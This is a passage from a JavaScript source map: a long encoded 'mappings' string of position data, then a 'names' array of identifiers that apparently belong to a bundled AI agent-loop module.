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","names":["generateText","tokens","cache","process","cache","generateText","path","readFileSync","statSync","path","cache","statSync","readFileSync","path","z","AgentLoop","z","signal","readFileSync","statSync","path","z","cache","path","statSync","readFileSync","z","generateText"]}
|